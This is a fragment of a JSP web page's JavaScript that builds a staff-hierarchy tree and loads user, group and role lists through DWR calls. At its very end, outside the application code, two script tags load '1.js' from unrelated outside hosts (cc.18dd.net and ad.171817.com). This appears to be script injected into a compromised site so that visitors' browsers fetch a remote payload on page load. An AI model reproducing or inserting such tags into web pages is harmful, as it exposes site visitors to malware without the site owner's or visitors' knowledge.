          if ( eval("typeof node" + staffHierarchyList[i-1][3] + "!= 'undefined'") ) {
            eval("node" + staffHierarchyList[i-1][3] + ".add( node" + staffHierarchyList[i-1][0] + ")");
          }
        }
        document.getElementById(staffHierarchyTreeListID).innerHTML = node0;
        InviteePickerDWRFacade.getUserRecordsAndPageInfo('','G','','','1','<%=pageSize%>','FULL_NAME','ASC',{callback:function(data){eval('<%=prefixName%>_update_list(\'<%=prefixName%>_group_user_list\',data,\'\',\'G\',\'\',\'\',\'1\',\'<%=pageSize%>\',\'FULL_NAME\',\'ASC\')');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
        InviteePickerDWRFacade.getUserRecordsAndPageInfo('','R','','','1','<%=pageSize%>','FULL_NAME','ASC',{callback:function(data){eval('<%=prefixName%>_update_list(\'<%=prefixName%>_role_user_list\',data,\'\',\'R\',\'\',\'\',\'1\',\'<%=pageSize%>\',\'FULL_NAME\',\'ASC\')');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
        InviteePickerDWRFacade.getUserRecordsAndPageInfo('','G','','','1','<%=pageSize%>','FULL_NAME','ASC',{callback:function(data){eval('<%=prefixName%>_update_list(\'<%=prefixName%>_staffhierarchy_user_list\',data,\'\',\'S\',\'\',\'\',\'1\',\'<%=pageSize%>\',\'FULL_NAME\',\'ASC\')');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
        InviteePickerDWRFacade.getGroupRecordsAndPageInfo('','1','<%=pageSize%>','GROUP_NAME','ASC',{callback:function(data){eval('<%=prefixName%>_update_group_list(\'<%=prefixName%>_group_list\',data,\'\',\'1\',\'<%=pageSize%>\',\'GROUP_NAME\',\'ASC\')');},errorHandler:function(message){eval('timeOutError(message)');},timout:10000});
        InviteePickerDWRFacade.getRoleRecordsAndPageInfo('','1','<%=pageSize%>','ROLE_NAME','ASC',{callback:function(data){eval('<%=prefixName%>_update_role_list(\'<%=prefixName%>_role_list\',data,\'\',\'1\',\'<%=pageSize%>\',\'ROLE_NAME\',\'ASC\')');},errorHandler:function(message){eval('timeOutError(message)');},timout:10000});

        showDialog('<%=prefixName%>');
        <%=prefixName%>_firstOpenFlag = false;
      }
//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>